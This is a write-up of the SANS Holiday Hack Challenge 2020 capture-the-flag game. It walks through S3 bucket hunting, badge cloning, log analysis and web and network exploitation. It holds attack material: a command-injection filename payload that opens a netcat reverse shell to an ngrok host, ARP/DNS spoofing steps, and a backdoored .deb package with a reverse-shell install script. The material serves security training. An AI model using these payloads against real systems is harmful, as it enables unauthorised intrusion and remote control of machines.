The SANS Holiday Hack Challenge is back! And with it, the third edition of KringleCon!
This yearâs challenges were a good mix of defensive and offensive skills. Topics varied from webapp hacking, crypto, log analysis, binary analysis to improving JS, regex and network skills. There were as well some simulated hardware challenges. The most challenging part was the analysis and recovery of a custom blockchain’s block that was stealthily altered.
KringleCon is as well an online security conference and you can find all the talks on KringleConâs Youtube channel. This year was as well introduced a Discord channel that was really great to interact with the community.
Who wants to destroy the holiday season this year? Will Santa and his companions be able to stop the villain? I will let you discover it. Here is my write-up for all the challenges of this edition!
A special thanks goes to the whole Counter Hack team for their incredible work! That was a blast!
Prologue
The adventure starts not far from Santa’s new castle. We are welcomed by Jingle Ringford who proposes us a gondola ride to Santa’s castle!
Jingle Ringford:
Welcome! Hop in the gondola to take a ride up the mountain to Exit 19: Santa’s castle!
Santa asked me to design the new badge, and he wanted it to look really coldâ-âlike it was frosty.
Click your badge (the snowflake in the center of your avatar) to read your objectives.
If you’d like to chat with the community, join us on Discord!
We have specially appointed Kringle Koncierges as helpers; you can hit them up for help in the #general
channel!
If you get a minute, check out Ed Skoudis' official intro to the con!
Oh, and before you head off up the mountain, you might want to try to figure out what’s written on that advertising bilboard. Have you managed to read the gift list at the center? It can be hard when things are twirly. There are tools that can help! It also helps to select the correct twirly area.
We unlock the first Objective as well as 2 hints to solve it:
- Image Edit Tool - There are tools out there that could help Filter the Distortion that is this Twirl.
- Twirl Area - Make sure you Lasso the correct twirly area.
Objectives
1 - Uncover Santa’s Gift List
The image on the billboard shows a document on Santa’s desk that has been twirled:
We can un-twirl it with the online tool that was proposed in the hints. We open the image and then start a trial and error exercise using the Filter > Distort > Twirl tool
and the Lasso Select
tool. The below selection coupled with a 360° twirl did the trick:
We can talk back to the elf:
Great work with that! I’m sure you’ll be able to help us with more challenges up at the castle!
We can now board the gondola to meet Santa! This unlocks Objectives 2 to 5 and the first narrative:
At the castle entrance where we are first greeted by Jewel Loggins:
Jewel Loggins:
Welcome to the SANS Holiday Hack Challenge 2020! Have a great time! Be sure to join us on Discord!
Remember, you can get hints for each of the objectives in your badge by clicking on elves. If you help elves solve their own technical terminal challenge, they’ll give you some ideas about how to approach the objectives.
Oh, and if you see any odd objects lying around, walk over to them to pick them up! You might even find one as you approach the castle!
We meet as well Santa’s and the 3 French Hens: Pierre, Marie, and Jean-Claude:
Hello and welcome to the North Pole! We’re super excited about this year’s KringleCon 3: French Hens.
My elves have been working all year to upgrade the castle. It was a HUGE construction project, and we’ve nearly completed it.
Please pardon the remaining construction dust around the castle and enjoy yourselves!
2 - Investigate S3Â Bucket
The terminal to investigate the S3 Bucket is next to Shinny Upatree in the Castle Approach area:
We access a terminal where we need to retrieve a file in a lost AWS S3 Bucket:
Can you help me? Santa has been experimenting with new wrapping technology, and we’ve run into a ribbon-curling nightmare! We store our essential data assets in the cloud, and what a joy it’s been! Except I don’t remember where, and the Wrapper3000 is on the fritz! Can you find the missing package, and unwrap it all the way?
Hints: Use the file command to identify a file type. You can also examine tool help using the man command. Search all man pages for a string such as a file extension using the apropos command.
We find a bucket_finder.rb
script in our home folder with a short wordlist
file:
wrapper
santa
This is a Ruby script that can be used to discover unprotected buckets based on a custom wordlist. Its usage is pretty simple:
$ ./bucket_finder.rb wordlist
http://s3.amazonaws.com/kringlecastle
Bucket found but access denied: kringlecastle
http://s3.amazonaws.com/wrapper
Bucket found but access denied: wrapper
http://s3.amazonaws.com/santa
Bucket santa redirects to: santa.s3.amazonaws.comhttp://santa.s3.amazonaws.com/
Bucket found but access denied: santa
The default wordlist does not discover anything interesting. Let’s add some more words based on what we know so far:
wrapper3000
The same command shows now a hit for wrapper3000
and shows it contains a file called package
:
$ ./bucket_finder.rb wordlist
http://s3.amazonaws.com/package
Bucket found but access denied: package
http://s3.amazonaws.com/wrapper3000
Bucket Found: wrapper3000 ( http://s3.amazonaws.com/wrapper3000 )
We can download it with:
A folder wrapper3000
is created that contains the package
file:
$ cat package
UEsDBAoAAAAAAIAwhFEbRT8anwEAAJ8BAAAcABwAcGFja2FnZS50eHQuWi54ei54eGQudGFyLmJ6MlVUCQADoBfKX6AXyl91eAsAAQT2AQAABBQAAABCWmg5MUFZJlNZ2ktivwABHv+Q3hASgGSn//AvBxDwf/xe0gQAAAgwAVmkYRTKe1PVM9U0ekMg2poAAAGgPUPUGqehhCMSgaBoAD1NNAAAAyEmJpR5QGg0bSPU/VA0eo9IaHqBkxw2YZK2NUASOegDIzwMXMHBCFACgIEvQ2Jrg8V50tDjh61Pt3Q8CmgpFFunc1Ipui+SqsYB04M/gWKKc0Vs2DXkzeJmiktINqjo3JjKAA4dLgLtPN15oADLe80tnfLGXhIWaJMiEeSX992uxodRJ6EAzIFzqSbWtnNqCTEDML9AK7HHSzyyBYKwCFBVJh17T636a6YgyjX0eE0IsCbjcBkRPgkKz6q0okb1sWicMaky2Mgsqw2nUm5ayPHUeIktnBIvkiUWxYEiRs5nFOM8MTk8SitV7lcxOKst2QedSxZ851ceDQexsLsJ3C89Z/gQ6Xn6KBKqFsKyTkaqO+1FgmImtHKoJkMctd2B9JkcwvMr+hWIEcIQjAZGhSKYNPxHJFqJ3t32Vjgn/OGdQJiIHv4u5IpwoSG0lsV+UEsBAh4DCgAAAAAAgDCEURtFPxqfAQAAnwEAABwAGAAAAAAAAAAAAKSBAAAAAHBhY2thZ2UudHh0LloueHoueHhkLnRhci5iejJVVAUAA6AXyl91eAsAAQT2AQAABBQAAABQSwUGAAAAAAEAAQBiAAAA9QEAAAAA
This looks like Base64 encoding. We can decode it with:
$ cat package | base64 -d
PK??�� package.txt.Z.xz.xxd.tar.bz2UT ��_��_ux ďż˝BZh91AY&SYďż˝Kb�����d���/ ��^0Yďż˝aďż˝{Sďż˝3ďż˝4zC Ú ďż˝=Cďż˝?���#��h=M4!&&ďż˝y@h4m#��P4zďż˝Hhz��6a��5@9ďż˝#< \ďż˝P��/Cbk��y�� ăOďż˝t<h)[ďż˝sR)ďż˝/���Ó?ďż˝bďż˝sElďż˝5���fďż˝KH6��Üďż˝ .ďż˝<ďż˝y��{ďż˝-���^hďż˝" ��ݎĆQ'ďż˝Ěsďż˝&Öśsj 10ďż˝@+��K<��PU&{O��kďż˝ ďż˝5ďż˝xďż˝&ďż˝p >���Z���xďż˝/=g��yďż˝(�²NFďż˝;ďż˝Eďż˝b&ďż˝rďż˝&Cďż˝Ý���+�� ��Fďż˝"ďż˝4ďż˝G$Z����V8'��@���.ďż˝pďż˝!���~PK??�� ?��package.txt.Z.xz.xxd.tar.bz2UT��_ux ďż˝PKbďż˝elf@8d5e97ec58f3:~/bucket_fin
By looking at the first letters PK
, we recognize the ZIP magic bytes! We can extract its content with:
We get a weird file called: package.txt.Z.xz.xxd.tar.bz2
. It seems to have been compressed and manipulated a few times. We can further decompress the file with:
$ tar xvf package.txt.Z.xz.xxd.tar
Now we have a .xxd
file. xxd
is a command that creates a hex dump from a file. If we look at the content of the file, we see it is precisely that and that the first 6 bytes fd37 7a58 5a00
are the signature of the xz
compression utility:
00000000: fd37 7a58 5a00 0004 e6d6 b446 0200 2101 .7zXZ……F..!.
00000010: 1600 0000 742f e5a3 0100 2c1f 9d90 4ede ….t/….,…N.
00000020: c8a1 8306 0494 376c cae8 0041 054d 1910 ……7l…A.M..
00000030: 46e4 bc99 4327 4d19 8a06 d984 19f3 f08d F…C’M………
00000040: 1b10 45c2 0c44 a300 0000 0000 c929 dad6 ..E..D…….)..
00000050: 64ef da24 0001 452d 1e52 57e8 1fb6 f37d d..$..E-.RW….}
00000060: 0100 0000 0004 595a ……YZ
We can restore the xz
archive and decompress it with:
One last step! We decompress .Z
file with the uncompress
command and finally read the text file:
North Pole: The Frostiest Place on Earth
The overall process can be done with the following one-liner:
$ cat package | base64 -d | zcat | bzip2 -d | tar xOvf - | xxd -r | xz -d | uncompress
package.txt.Z.xz.xxd
North Pole: The Frostiest Place on Earth
3 - Point-of-Sale Password Recovery
We enter the castle and meet Santa again:
Santa:
Welcome to my newly upgraded castle!
Also, check out that big portrait behind me! I received it in the mail a couple of weeks agoâ-âa wonderful house warming present from an anonymous admirer. Gosh, I wonder who sent it. I’m so thankful for the gift!
Please feel free to explore my upgraded castle and enjoy the KringleCon talks upstairs. You can get there through my new Santavator!
One of the elves seems worried about Santa:
Psssst! Hey you! Yes YOU!
I’ve gotta tell you something, but you gotta keep it on the down-low. Santa has been behaving VERY strangely over the past couple of weeks. He has delayed certain projects, cancelled others, and even messed around with our technical infrastructure.
There’s rumors among the elves that something has gone wrong with Santa. I can’t say any moreâ-âhe might hear!
We continue to the Courtyard, through the Dining Room where we meet Jack Frost for the very first time:
He has a cryptic message for us:
That’s such a magnificent portrait of Santa in the foyer. What a great demonstration of artistic skill.
Bwahahaha!
Next to him, we find Sugarplum Mary and the Santa Shop:
We can download an offline version of Santa Shop which comes as an installer file santa-shop.exe
. As per the hints we got from the Linux Primer challenge, we know it is an Electron application and that the password we are looking for must be stored in an ASAR file.
Electron is an open-source framework that can be used to create cross-platform applications based on JavaScript, HTML, and CSS. An ASAR (Atom Shell Archive Format) file is a TAR-like archive that concatenates files into a single one. Electron can read it without unpacking it. It usually contains all the application files.
Let’s install the application on a Windows 10 box and launch it:
The application is installed by default in the current user profile:
The ASAR file location is:
We can extract the contained files by following this procedure:
- install Node.js if not already done,
- from the command line, run
npm install -g asar
to install theasar
package, - go to the
resources
directory:cd C:\Users\<user>\AppData\Local\Programs\santa-shop\resources
, - create a folder where the files will be extracted:
mkdir output
, - extract the files:
asar extract app.asar output
.
We get the following files:
The password is found at the top of main.js
:
We can now access the (dummy) PoS:
Alternatively, we can get the ASAR file without a Windows box. As the installer is a self-extracting archive:
santa-shop.exe: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
We can use tools like 7Zip to extract its content:
We get the application uninstaller and a folder $PLUGINSDIR
that contains some DLLs and another archive called app-64.7z
. We can extract it to get the same files installed on Windows. The ASAR file is still in the resources
folder.
4 - Operate the Santavator
The castle elevator seems buggy and needs some repair before we can use it.
Sparkle Redberry gives us some information about it:
Sparkle Redberry:
Hey hey, Sparkle Redberry here!
The Santavator is on the fritz. Something with the wiring is grinchy, but maybe you can rig something up? Here’s the key! Good luck!
On another note, I heard Santa say that he was thinking of canceling KringleCon this year! At first, I thought it was a joke, but he seemed serious. I’m glad he changed his mind.
Have you had a chance to look at the Santavator yet? With that key, you can look under the panel and see the Super Santavator Sparkle Stream (S4). To get to different floors, you’ll need to power the various colored receivers.
⌠There MAY be a way to bypass the S4 stream.
We receive the Elevator Service Key and Ginger Breddle adds:
Hey, I heard from some of the other elves that there’s some really crazy things going on with floor one and a half.
Once in the Santavator, we can access the panel where we see a missing button. We can’t go anywhere at the moment and this is shown by the buttons being all red:
If we open the panel, we see the Items we collected so far and a strange ray of light:
The items we have discovered so far are 2 Hex Nuts, the Broken Candycane and the Green Bulb. If we put the Green Bulb in the ray of light, the ray takes its color. With the help of the other items, we can divert the ray to hit the green bulb socket:
The green power light is now ON, and this gives us access to the Talks floor and the Lobby (where we are) as we can see from the bottom right note. This means that we need to find the Red Bulb to access the Workshop floor and the Roof (NetWars). If we have the 3 bulbs, we can access Santa’s office!
As soon as we access the KringleCon Talks floor, the Objective is validated. We meet then with Bow Ninecandle and again Jack Frost:
You know what Santa just told me? He said he thought of yet another marketing pitch for the North Pole.
He wants to call it, “The Frostiest Place on Earth!”. What’s with that?
Gosh, there’s some really great talks. I’m getting all kinds of ideas for different modes of attack.
5 - Open HIDÂ Lock
The HID lock is located in the Workshop on floor 1.5 and in order to access the Workshop, we need to find the Red Bulb and the missing elevator button. After achieving the Speaker UNPrep challenge, we get access to the Speaker UNpreparedness Room where we find the button on the floor. The Red Bulb is found in the Talks Lobby on the floor as well.
We can now head to the Workshop floor. But we need first to activate the green and red power in the Santavator panel. Here is a way to do it:
We unlock the second narrative when we reach the 1.5 floor:
We find the Proxmark3 device that Bushy was mentioning on the floor of the Wrapping Room. This should help in opening the door protected by an HID lock:
Now, we need to find someone who wears a badge so that we can try to clone the signal. Let’s go by all the elves, open the Proxmark3 terminal (from the Items menu), run the command lf hid read
or auto
and see who is wearing a badge. The following elves respond:
#db# TAG ID: 2006e22f08 (6020) - Format Len: 26 bit - FC: 113 - Card: 6020
[Bow Ninecandle - Talks Lobby]
#db# TAG ID: 2006e22f0e (6023) - Format Len: 26 bit - FC: 113 - Card: 6023
[Spark Redberry - Castle Entry]
#db# TAG ID: 2006e22f0d (6022) - Format Len: 26 bit - FC: 113 - Card: 6022
[Angel Candysalt - Great Room]
#db# TAG ID: 2006e22f31 (6040) - Format Len: 26 bit - FC: 113 - Card: 6040
[Holy Evergreen - Kitchen]
#db# TAG ID: 2006e22f10 (6024) - Format Len: 26 bit - FC: 113 - Card: 6024
[Shiny Upatree]
#db# TAG ID: 2006e22f13 (6025) - Format Len: 26 bit - FC: 113 - Card: 6025
With this information, we get back to the HID lock. To impersonate a card, we can run the command lf hid sim -r <TAG_ID>
. We try the TAG ID
s one by one and open the door with Bow Ninecandle’s one:
We access a dark room and unlock the rest of the Objectives. We need to find the right path to navigate it and reach the light:
When we enter the light, we unlock the 3rd narrative:
We magically take the control of Santa through the painting offered to him and can now see the world through his eyes!
Seems like we are wearing a different badge now:
It gives us access to a new feature. We can now teleport instantly in any room of the castle:
Let’s talk to some of our dear elves who are all still suspicious about Santa:
Santa, I just saw you get in the Santavator, but you never came back down, but now you’re back. How did you do that?
Hey Santa! Are you alright? You look a little out of it. Perhaps you could use some rest. You’ve been so busy.
Hey Santa! Did you just come here from floor one and a half?
Hey Santa⌠I’ve noticed that lately, you’ve been telling everyone to “Stay frosty.” What’s that all about?
“Watch Santa walk around,” they said. “See how strange he’s behaving,” they said. And you know what? They were right. Oh, Santa! I didn’t see you there! I hope you’re feeling OK.
Hey Santa, didn’t I just see you walking past me?
Santa, it’s surprising to see you all the way down here! I’m used to you being up at the North Pole.
Santa, it’s good to see you. Are you still trying to get the North Pole marketing department to use your new tagline, “The North Pole: The Frostiest Place on Earth?”
Jack Frost still sounds suspicious:
Oh, hi Santa. I’m just wandering around, minding my own business. Nothing nefarious going on here.
Hello Santa. It’s you again. Thank you so much for hosting this event. I know we’ve had our issues in the past, but I think we should just bury the hatchet.
Let’s go back to our own self by taking the hidden exit under the painting in the Castle Entry. Maybe we will need this power again laterâŚ
6 - Splunk Challenge
The Splunk terminal is located in the Great Room:
The elf tells us:
Angel Candysalt:
You know, every day or so, I see Santa looking at his portrait in the entry and then letting out a maniacal “Bwahahaha.”
It’s kind of disturbing and I’m worried about him.
Oh, this machine here? Oh, it’s nothing you’ll be able to use. You know, we have pretty tight controls on authentication for that infrastructure. There’s some biometrics, so only Santa and a handful of elves can log in.
When we try to access the terminal we get the message:
This is where Santa’s impersonation comes in. Let’s come back as Santa:
Hey Santa, there’s some crazy stuff going on that we can see through our Splunk infrastructure. You better login and see what’s up.
Like in last year’s edition, we access an instance of Splunk Enterprise where we have to answer some training questions that will lead us to finally answer the Objective question: “What is the name of the adversary group that Santa feared would attack KringleCon?”. We get as well some help from Santa’s SOC team through a chat:
This year’s dataset will include simulated attacks based on the MITREÂŽ ATT&CK Matrix for Enterprise. The simulation is done with Splunk Attack Range. Let’s answer the questions.
Alice Bluebird gives us some directions to start:
We can copy/paste Alice’s command into the search
field to get the following indexes:
The index names txxxx
correspond to the attack technique name. We can easily count that there are 13 main attack techniques simulated. We can as well output this value with:
| rex field=index (?
| stats dc(tech)
The rex
command is used to extract a string based on a regex and the dc
function counts distinct values.
Let’s look up the techniques used:
ID | Technique |
---|---|
t1033 | System Owner / User Discovery |
t1057 | Process Discovery |
t1059.003 | Command and Scripting Interpreter: Windows Command Shell |
t1059.005 | Command and Scripting Interpreter: Visual Basic |
t1071.001 | Application Layer Protocol: Web Protocols |
t1082 | System Information Discovery |
t1105 | Ingress Tool Transfer |
t1106 | Native API |
t1123 | Audio Capture |
t1204.002 | User Execution: Malicious File |
t1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder |
t1548.002 | Abuse Elevation Control Mechanism: Bypass User Account Control |
t1559.002 | Inter-Process Communication: Dynamic Data Exchange |
t1566.001 | Phishing: Spearphishing Attachment |
1059.003
? (Put them in alphabetical order and separate them with a space)We can see that from the previous screenshot.
MachineGuid
?Alice says:
As we listed above, the System Information Discovery technique has the ID T1082. If we take a look at the Atomic Red Team repo, and go to the technique description, we can see the atomic tests that are performed and one of them can be used to retrieve the MachineGuid
:
Splunk Attack Range keeps the details of the simulation in the attack index. We just need to search for the OSTAP keyword and take the oldest one. OSTAP is a family of JS malware used in certain attack campaigns as a downloader. We search for:
ProcessId
associated with the first use of this component?If we have a look at frgnca Github repository, we see a project called AudioDeviceCmdlets
. We saw that the Audio Capture (T1123) technique was used as part of the simulation. If we have a look at this technique in Atomic Red Team repo, we see only 1 atomic test that uses a very specific commandlet:
We can filter the logs with:
We get only 2 logs and the first one has a ProcessId
of 3648
:
Registry Run Keys are used in the technique T1547.001 and can be used to achieve persistence. We find the usage of a batch file in the 3rd Atomic test of T1547.001. The batch file can be found here.
Zeek is an open-source network analysis framework that we have seen in KringleCon 2. If we start with Alice’s search filter, we see that certificate serials and subjects are indexed fields. If we look at the existing subjects, we see that the top 1 is the Domain Controller we are looking for. We click on it to drill-down:
From the very first log we can get its certificate serial number:
This one does not seem related to Splunk. We need to decrypt Alice’s ciphertext. What we know from the hints is:
- the ciphertext is encoded in Base64 to be “readable”,
- the algorithm used may be RC4 (RFC 7465),
- the key can be found in KringleCon 3 Splunk’s talk and is Santa’s fav phrase.
We get the encryption key at the very end of the Splunk’s talk:
We can use the CyberChef toolkit to decrypt the ciphertext as follows:
We unlock the Narrative 4 of 7:
7 - Solve the Sleigh’s CAN-D-BUS Problem
Santa’s sleigh is located on the Roof and only Santa can access it. So let’s transform again:
Hey Santa! Those tweaks you made to the sled just don’t seem right to me. I can’t figure out what’s wrong, but maybe you can check it out to fix it.
We access the CAN-D Bus of the sleigh and see that messages are overflowing even when the sleigh is not in use. When can START
the sleigh and see the counter increase:
The goal is to filter out all the bad messages and only keep the valid ones triggered by the buttons and sliders we have on the left side. Let’s first block all the messages that are flowing with the following criteria:
Clicking the START
button triggers the message 02A#00FF00
but the sleigh does not accelerate. The STOP
button triggers 02A#0000FF
. Like in the CAN-Bus Investigation challenge, the LOCK
and UNLOCK
button triggers respectively 19B#000000000000
and 19B#0000F0000000
. Moving the Accelerator
, Brake
and Steering
sliders do not seem to work. This means that they are probably using one of the ID we blocked.
After a few tries, we see that the sleigh speed generates the 244
ID. As soon as we remove the blocking rule, we can again start properly and accelerate. Let’s block only the noisy message 244#0000000000
instead. What we discover is that the message 244
data is the speed in hexadecimal. For instance, 244#00000003E8
indicates that the sleigh moves at 1000 RPM (Reindeer Per Minute).
The Stearing
uses the message ID 019
and does not seem to be flooded so we do not need to filter this message at all.
The Brake
uses the 080
message ID. Again, we can block the noisy value 080#000000
. However, when we start breaking, we see that 2 messages are sent each second. The valid one has the Break
value as data in hexadecimal. The malicious ones have a data value lower than zero.
This was not sufficient to make the sleigh work properly again. In the end, after a few other tries, we saw that all the data with zeros were legitimate. We are left with the doors and brake issues to solve. The necessary rules to exclude are:
8 - Broken Tag Generator
Noel Boetie:
I’m Noel Boetie. Welcome to the Wrapping Room!
We wrap presents and tag them for delivery here. Unfortunately, the tag generator is acting up. I’m hoping Santa can give me a hand nailing down that flaw.
Again, only Santa can access this terminal and if we come back as him, Noel says:
Noel Boetie:
Welcome to the Wrapping Room, Santa! The tag generator is acting up. I feel like the issue has something to do with weird files being uploaded.
Can you help me figure out what’s wrong?
We access a webapp that we can use to generate tags. We can play with the app and try all the features while going through a proxy like Burp to analyze each call.
Most of the tag creation is done client-side as well as the Save Tag
feature used to download our tag. The client-side app logic is in /js/app.js
. The only feature that calls a server endpoint is the upload function. It calls the upload
endpoint as follows:
We get the new name of our image as a JSON object in the response:
By doing some tests with the image file we quickly see that we can upload any kind of content as long as the filename ends with png
or jpg
. If we upload a file with another extension we get the following error:
The error message leaks the path to the server application /app/lib/app.rb
, it is a Ruby application and we see as well that our file is first stored in the /tmp
folder with a temporary name set by the server.
An endpoint discovery with wfuzz
finds 2 additional endpoints:
[…]
000000961: 302 0 L 0 W 0 Ch “clear”
000001947: 501 3 L 9 W 80 Ch “image”
000003398: 501 3 L 9 W 80 Ch “share”
The clear
endpoint doesn’t do much. The image
and share
endpoints show the same error:
If we try to add the id
argument to the image
endpoint we get an error 501 with an interesting error:
It looks for a file in the /tmp
folder. Actually, we can retrieve the image we uploaded before by using its ID:
Let’s see if we can have a Directory Traversal/Arbitrary File Read vulnerability here by calling a system file:
Great! We can download the server source code as well as we know its path:
At this point, we could already validate the Objective as all we have to do is read the GREETZ
environment variable. This can be easily achieved by reading the /proc/self/environ
file that contains the environment variables of the current process:
PATH=/usr/local/bundle/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=43b7c645315f
RUBY_MAJOR=2.7
RUBY_VERSION=2.7.0
RUBY_DOWNLOAD_SHA256=27d350a52a02b53034ca0794efe518667d558f152656c2baaf08f3d0c8b02343
GEM_HOME=/usr/local/bundle
BUNDLE_SILENCE_ROOT_WARNING=1
BUNDLE_APP_CONFIG=/usr/local/bundle
APP_HOME=/app
PORT=4141
HOST=0.0.0.0
GREETZ=JackFrostWasHere
HOME=/home/app
However, let’s still analyze the server source code (full code here). The code of the image
endpoint shows why we are able to read the server’s files:
Apparently, Jack disabled the id
validation that now allows all special characters.
The upload
endpoint, calls the process_file()
function where we see that on top of png
and jpg
files, ZIP archives are as well supported:
In the case of an image, the handle_image()
function is called. It generates a random filename and starts a thread that will do a system
call to execute convert
to resize the image before storing it in the /tmp
folder:
The convert
binary is called with our filename as argument without being validated! We could potentially execute commands here if we had control over the filename. A file called ';ls #.png
would execute ls
as follows:
Whatever is after the #
will be seen as a comment. But, as we have seen previously, we do not have control over the filename here as the server renames it to a temporary filename after the upload.
The ZIP
file handler, however, does not rename the files after extraction:
Again, Jack disabled the filename validation and as the files are not renamed before being stored in the /tmp
folder, we have full control over the filenames, and therefore could achieve Remote Command Execution (RCE). As we won’t see the result of our commands, we can output it in a file and then download it. Let’s create the following dummy file to read the output of the env
command and then ZIP it:
$ zip archive.zip “';env>noob #.png”
We upload archive.zip
and then download the noob
file, which is found in the server’s default working directory /tmp
:
Let’s go a step further now and try to have a shell on the server. Some characters like /
are not allowed in filenames so we need to be careful with that. We can try a Netcat reverse shell by leveraging ngrok, a free service to tunnel the public traffic to localhost. We simply start it with ngrok tcp 1234
where 1234
is the local port. We get a temporary public endpoint and port to use:
Then our payload will be:
$ zip archive.zip “';nc 0.tcp.ngrok.io 19686 -c bash #.png”
$ nc -lnvp 1234 # start netcat listener on port 1234
We upload the ZIPâŚand we get a reverse shell as the user app
!!
There is one last vulnerability that we can exploit. The upload feature is vulnerable to Zip Slip. We can craft an evil ZIP file that can add/overwrite any file on the system where the user app
can write.
We can now move on to the next objectiveâŚTalking again to Noel shows he is happy but has some work to do:
Yay! You found the flaw!
We’ll work on fixing it.
We unlock a new narrative:
9 - ARP Shenanigans
Again, the terminal is only accessible to Santa.
Alabaster Snowball:
Hey Santa! You’ve got to check out our Scapy Present Packet Prepper! Please work through the whole thing to make sure it’s helpful for our guests! I made it so that players can help()
to see how to get tasks and hints. When you’re done, maybe you can help me with this other issue I’m having.
Oh, I see the Scapy Present Packet Prepper has already been completed! Now you can help me get access to this machine.
It seems that some interloper here at the North Pole has taken control of the host. We need to regain access to some important documents associated with Kringle Castle. Maybe we should try a machine-in-the-middle attack? That could give us access to manipulate DNS responses. But we’ll still need to cook up something to change the HTTP response. I’m sure glad you’re here Santa.
We have access to 3 TMUX terminals to help in this task. One of them shows the following message:
After having completed the Scapy Present Packet Prepper challenge we got some interesting hints to help us achieve this objective. Let’s take them one by one:
10.6.6.35
because we can no longer access it. Try sniffing the eth0
interface using tcpdump -nni eth0
to see if you can view any traffic from that host.Our IP address is 10.6.0.2
and we know from the hints that 10.6.6.35
may have been hit by a malware. When sniffing eth0
we mainly get ARP requests from the 10.6.6.35
that asks who has the 10.6.6.53
:
/home/guest/scripts
.To achieve ARP spoofing, we can use the given script /home/guest/scripts/arp_resp.py
. Almost everything is ready, we only need to replace the SOME*HERE
and 99999
values to match the protocol and then execute it:
We can have a look at this example to help. Let’s start with line 14. The Ethernet source is our own one that we can get with ifconfig
or we can simply re-use the macaddr
variable:
For the Ethernet destination, we need to capture the attacker packet with more details. This can be achieved by displaying the ARP
table:
arp_requester.guestnet0.kringlecastle.com (10.6.6.35) at 4c:24:57:ab:ed:84 [ether] on eth0
Line 14 becomes:
|
|
For the ARP reply options (lines 16 to 21):
|
|
For the source and destinations addresses (lines 23 to 26):
|
|
We launch our modified script while capturing packets:
We see our spoofed ARP reply and the attacker sending a DNS query to our host to resolve the domain ftp.osuosl.org
.
We are again helped for the DNS spoofing with the dns_resp.py
script that we will need to complete:
The goal is to send a DNS response to the attacker resolving the domain name to our IP address to see what the malware will do next. We can get some help on the DNS protocol from this capture.
First, we need to change the IP address we are spoofing on line 11:
|
|
On lines 16 to 17, we need to set the right Ethernet/IP addresses. We have seen most of the values in the ARP spoofing part:
|
|
Regarding the UDP layer on line 18, we need to capture the attacker source port that will be the destination port in the response. As the attacker packet is an argument of the function we can retrieve it with packet[UDP].sport
. The source port is the DNS default port:
|
|
Finally, the DNS response will be on lines 19 to 21. We take most of the information from the DNS request:
|
|
We can launch, in order, tcpdump -nni eth0
, ./dns_resp.py &
, that will wait until a DNS query is seen, and ./arp_resp.py
. What we see is that after a successful ARP
and DNS
spoofing, an HTTP
call (in green) is done on our host by the attacker:
Let’s start an HTTP listener to see the attacker’s request. This can be quickly done with Python: python3 -m http.server 80
:
.deb
package. Maybe we can get command line access by sending it a command in a customized .deb fileWe have some .deb
files available in /home/guest/debs
. We can follow the given article to add a Netcat reverse shell to the .deb
file.
First, we prepare our working environment, copy the Netcat package that we will use for the reverse shell and rename it as the package that the attacker is fetching:
$ cd /tmp/packing
$ cp /home/guest/debs/netcat-traditional_1.10-41.1ubuntu1_amd64.deb ./suriv_amd64.deb
We extract the package in the work
directory:
We retrieve the control
file from the package:
$ ar -x suriv_amd64.deb
$ tar xf control.tar.xz ./control
We create the postinst
script that will trigger the Netcat reverse shell to our host on port 1234
:
Then copy those files in the work/DEBIAN
folder and build the new backdoored package that we rename with the right name:
$ mv postinst work/DEBIAN/
$ chmod +x work/DEBIAN/postinst
$ dpkg-deb –build /tmp/packing/work/
$ mv work.deb suriv_amd64.deb
Now that the package is ready to be delivered to the attacker, we create the necessary folder tree in /tmp
and copy our package there. Then we spawn our HTTP
listener from the /tmp
folder:
$ mv suriv_amd64.deb /tmp/pub/jfrost/backdoor
$ cd /tmp
$ python3 -m http.server 80
From another terminal pane, we spawn a Netcat listener with nc -lnvp 1234
and yet from the third terminal pane, we launch our two spoofing scripts as we did before. After a few second, we have a hit:
We are on the attacker host with his jfrost
account! We find the needed file NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt
in the root folder. You can read it here.
We unlock the 6th narrative:
10 - Defeat Fingerprint Sensor
First of all, we need to activate the Santa’s Office floor. This is now possible as we found the last bulb and items on the Roof. Here is one possible solution to hit the three sockets with the right color:
We have now access to Santa’s OfficeâŚwell…almost, as it is protected with a fingerprint:
Our avatar cannot access itâŚbut we can as Santa. However, the goal is to access Santa’s Office without impersonating Santa. How to bypass that?
We can have a look at the Javascript code of the Santavator in app.js
. By using the browser’s Developer Tools (see this article). We see that in order to access this floor we need 1) to power the button (what we just did) and 2) get the besanta
token that we usually get when we impersonate Santa:
In the console, we can check the tokens we currently have and we are indeed missing the besanta
one:
We simply add it to the list by using the JS console and the second check is passed :)
We can now reach Santa’s Office:
Tinsel is not happy though:
Tinsel Upatree:
GOSHGOLLY How did you get in here??
I mean, hey, I’m impressed you made it in here, but you’ve got to leave! Breaking into Santa’s Office might mean immediate membership on the wrong side of the Naughty/Nice List.
11a - Naughty/Nice List with Blockchain Investigation Part 1
This challenge can only be done as Santa.
Tinsel Upatree is waiting for us with a document on our desk:
Tinsel Upatree:
Santa, I don’t know if you’ve heard, but something is very, very wrongâŚ
We tabulated the latest score of the Naughty/Nice Blockchain. Jack Frost is the nicest being in the world! Jack Frost!?! As you know, we only really start checking the Naughty/Nice totals as we get closer to the holidays. Out of nowhere, Jack Frost has this crazy score⌠positive 4,294,935,958 nice points! No one has EVER gotten a score that high! No one knows how it happened. Most of us recall Jack having a NEGATIVE score only a few days agoâŚ
Worse still, his huge positive score seems to have happened way back in March. Our first thought was that he somehow changed the blockchainâ-âbut, as you know, that isn’t possible.
We ran a validation of the blockchain and it all checks out. Even the smallest change to any block should make it invalid. Blockchains are huge, so we cut a one minute chunk from when Jack’s big score registered back in March. You can get a slice of the Naughty/Nice blockchain on your desk.
You can get some tools to help you here. Tangle Coalbox, in the Speaker UNPreparedness Room. has been talking with attendees about the issue.
The tools that we get will help in interacting with the blockchain.dat
(the actual _Naughty/Nice _blockchain) we retrieve from Santa’s desk. We can as well have a look at this KringleCon 3 talk.
The naughty_nice.py
Python script explains how the blockchain is constructed and how we can interact with it to read or verify blocks.
We can get some basic information on the blockchain as well as the details of the first block with the following code:
The output is:
We see that we have a partial blockchain that starts at index 128449
and ends at index 129996
. A total of 1548 blocks. If we verify the blockchain as-is, it will fail as the genesis block (the first block) does not exist:
We have to set the initial previous_hash
to the one of the first block we have at our disposal and that we saw earlier:
We can as well dump the embedded documents with the Block.dump_doc(doc_no)
method. For the first block it would be:
|
|
We get the embedded PDF that looks like this:
